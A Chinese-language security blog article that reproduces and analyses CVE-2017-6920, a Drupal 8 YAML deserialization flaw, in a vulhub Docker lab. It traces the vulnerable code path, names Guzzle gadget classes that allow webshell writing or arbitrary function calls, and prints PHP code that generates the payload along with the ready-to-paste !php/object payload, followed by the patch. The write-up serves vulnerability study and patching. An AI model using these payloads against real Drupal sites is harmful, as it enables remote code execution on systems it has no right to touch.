freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Drupal YAML 反序列化代码执行漏洞(CVE-2017-6920)复现及分析
2021-05-19 11:40:27

前言

PHP反序列化漏洞简介

序列化

序列化就是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。[将状态信息保存为字符串]

反序列化

反序列化就是再将这个状态信息拿出来使用(重新再转化为对象或者其他的)[将字符串转化为状态信息]

通俗来讲,序列化就是将一个对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。反序列化则相反将字符串重新恢复成对象

由于本文旨在分析漏洞CVE-2017-6920,PHP的反序列化不是介绍重点,这里不再做具体讲解。

正文

Drupal 介绍

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。

漏洞描述

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

漏洞环境

本次漏洞复现环境利用vulhub靶场(不得不说,靶场是真的好用,嘻嘻)

进入虚拟机,执行以下命令:

cd /drupal/CVE-2017-6920/
docker-compose up -d

环境启动后,访问http://your-ip:8080,将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

docker启动后,执行docker ps 查看容器id

然后执行docker exec -it CONTAINER-ID /bin/bash 进入容器,然后执行下列命令:

# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源 
cat > sources.list << EOF 
deb http://mirrors.163.com/debian/ jessie main non-free contrib 
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib 
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib 
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib 
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib 
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib 
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib 
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib EOF 
# 安装依赖 apt update 
apt-get -y install gcc make autoconf libc-dev pkg-config 
apt-get -y install libyaml-dev 
# 安装yaml扩展 pecl install yaml docker-php-ext-enable yaml.so 
# 启用 yaml.decode_php 否则无法复现成功 
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini 
# 退出容器 exit 
# 重启容器,CONTAINER换成自己的容器ID 
docker restart CONTAINER

访问:http://your-ip:8080,开始安装(数据库选择sqlite版),安装成功后:

登录管理员账户,访问http://your-ip:8080/admin/config/development/configuration/single/import,界面如下:

如下图所示,配置类型选择 简单配置,配置名称任意填写,文本处中填写PoC如下:

点击导入,漏洞触发:

漏洞分析

漏洞触发点代码如下(core/lib/Drupal/Component/Serialization/YamlPecl.php)decode函数中:

$data = yaml_parse($raw, 0, $ndocs, [
      YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',
    ]);

可以看到,$raw这个变量被带入yaml_parse这个函数中,yaml_parse这个函数是PHP自带的函数。

我们看下PHP官方文档的说明:

Description

yaml_parse ( string $input , int $pos = 0 , int &$ndocs = ? , array $callbacks = null ) : mixed

Convert all or part of a YAML document stream to a PHP variable.

Parameters
input
The string to parse as a YAML document stream.
pos
Document to extract from stream (-1 for all documents, 0 for first document, ...).
ndocs
If ndocs is provided, then it is filled with the number of documents found in stream.
callbacks
Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks

第一个参数是需要解析成yaml的字符串,结合代码说明看,只有$raw这个参数是外部可控的。

再看下关于yaml_parse函数的官方warning:

Warning
Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

意思就是如果使用!php/object,那么yaml_parse将会以反序列化(unserialize)的形式来进行处理字符串,这是非常危险的行为,如果想要禁止,可以通过设置yaml.decode_php来进行处理。

因此漏洞触发的原因就是yaml_parse函数可能会以反序列化的方式来处理一些字符串,导致一些危险类的函数被触发,实现代码执行。

接下来,我们定位一下decode函数的调用位置:

在(core/lib/Drupal/Component/Serialization/Yaml.php)33行中:

public static function decode($raw) {
$serializer = static::getSerializer();
return $serializer::decode($raw);
}

该函数调用了getSerializer()函数,我们跟进该函数,在(core/lib/Drupal/Component/Serialization/Yaml.php)48行中:

protected static function getSerializer() {

    if (!isset(static::$serializer)) {
      // Use the PECL YAML extension if it is available. It has better
      // performance for file reads and is YAML compliant.
      if (extension_loaded('yaml')) {
        static::$serializer = YamlPecl::class;
      }
      else {
        // Otherwise, fallback to the Symfony implementation.
        static::$serializer = YamlSymfony::class;
      }
    }
    return static::$serializer;
  }

如果存在yaml扩展,就调用YamlPecl类中的decode()方法;否则,就调用YamlSymfony类中的decode()方法。我们为了利用YamlPecl中的decode()方法,因此需要安装yaml扩展。

现在明白在复现漏洞的过程中,在docker中安装yaml扩展的原因了吧。

在安装好yaml扩展后,最后定位外部可控的输入点。经过分析,YamlPecl::decode是在Yaml::decode函数中调用的,所以寻找全局调用Yaml::decode函数的地方,外部可控的地方只有一处;

在(core\modules\config\src\Form\ConfigSingleImportForm.php)280行中:

public function validateForm(array &$form, FormStateInterface $form_state) {
    // The confirmation step needs no additional validation.
    if ($this->data) {
      return;
    }
    try {
      // Decode the submitted import.
      $data = Yaml::decode($form_state->getValue('import'));
    }
    catch (InvalidDataTypeException $e) {
      $form_state->setErrorByName('import', $this->t('The import failed with the following message: %message', ['%message' => $e->getMessage()]));
    }

这里对外部的import值进行Yaml::decode操作,所以这里是漏洞触发点。

要利用反序列化漏洞,需要找一个反序列类,通过PHP的魔术方法定位,找到以下可以利用的类:

(1)在(vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php)中第37行:

public function __destruct()
    {
        $this->save($this->filename);
    }

public function save($filename)
    {
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }


        $jsonStr = \GuzzleHttp\json_encode($json);
        if (false === file_put_contents($filename, $jsonStr)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }

可以写入webshell。

(2)在(\vendor\guzzlehttp\psr7\src\FnStream.php)中第48行:

public function __destruct()
    {
        if (isset($this->_fn_close)) {
            call_user_func($this->_fn_close);
        }
    }

可以造成任意无参数函数执行。

漏洞验证

一、 序列化一个guzzlehttp\psr7\src\FnStream类, poc生成代码:

<?php
namespace GuzzleHttp\Psr7;
class FnStream {
  public function __construct(array $methods)
  {
    $this->methods = $methods;


    // Create the functions on the class
    foreach ($methods as $name => $fn) {
      $this->{'_fn_' . $name} = $fn;
    }
  }
  public function __destruct()
  {
    if (isset($this->_fn_close)) {
      call_user_func($this->_fn_close);
    }
  }
}
$fn = new FnStream(array('close'=>'phpinfo'));
echo(serialize($fn))
?>

二、 给该序列化字符串加上yaml的!php/object tag(注意要转义)

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

三、登录管理员账号,访问http://your-ip:8080/admin/config/development/configuration/single/import,填写序列化后字符串,点击导入,执行phpinfo()函数。

漏洞修复建议

(1)升级最新版本。

(2) 最新发布的Drupal 8.3.4 已经修复了该漏洞,/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函数进行防御(添加如下代码即可):

public static function decode($raw) {
    static $init;
    if (!isset($init)) {
      // We never want to unserialize !php/object.
      ini_set('yaml.decode_php', 0);
      $init = TRUE;
    }
    // yaml_parse() will error with an empty value.
    if (!trim($raw)) {
      return NULL;
    }
......
}
# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录